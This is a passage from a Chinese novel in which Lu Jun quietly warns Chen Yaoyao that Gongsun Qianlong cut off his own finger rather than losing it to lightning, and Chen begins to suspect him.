陈瑶瑶低头看着云河,看着她的脸,看着她的呼吸,眼泪忽然掉下来。
路君走过来,蹲在她旁边,轻声说:“她没事。那颗珠子保住了她的命。”
陈瑶瑶点头,擦掉眼泪。
路君看着她,忽然压低声音,低得只有她们两个能听见:
“你知道公孙潜龙那根手指是怎么丢的吗?”
陈瑶瑶心里猛地一跳。
路君继续说,声音更低了:“不是雷劈的。”
陈瑶瑶猛地转头,看向公孙潜龙。
公孙潜龙站在不远处,正低头逗发财。他蹲在那里,背对着她们,看不出表情。但他的手——
那只戴着黑手套的手——
正在微微发抖。
路君的声音在她耳边响起,像一根针扎进心里:
“那是他自己砍掉的。用那把刀。”
陈瑶瑶的呼吸停了。
路君站起来,拍拍身上的土:“我走了。狼群还等着我呢。”
她转身,走出几步,忽然回头。
阳光照在她脸上,照出她眼里的光。
那光里有警告,有担忧,还有一丝陈瑶瑶看不懂的东西。
“陈瑶瑶。”
陈瑶瑶抬头。
路君看着她,一字一句,每个字都像钉子钉进她心里:
“小心他。”
说完,她消失在树林里。
陈瑶瑶抱着发财,坐在草地上,看着公孙潜龙。
公孙潜龙还在逗发财,笑得那叫一个开心。
但陈瑶瑶忽然发现——
他笑的时候,眼睛没有笑。
他的眼睛,正看着她。
不,不是看着她。
是看着她身后。
她猛地回头。
身后什么都没有。
只有风,只有草,只有那条小溪。
她再回过头,公孙潜龙已经站起来了,正朝她走过来,脸上挂着那副欠揍的笑容。
“瑶瑶,发什么呆呢?云河醒了,咱们该走了。”
陈瑶瑶看着他的手。
那只戴着黑手套的手。
风一吹,手套的小拇指处空空荡荡,随风飘荡。
但陈瑶瑶忽然想起一件事——
雷电劈人的时候,会留下焦痕。
他手腕上干干净净,什么都没有。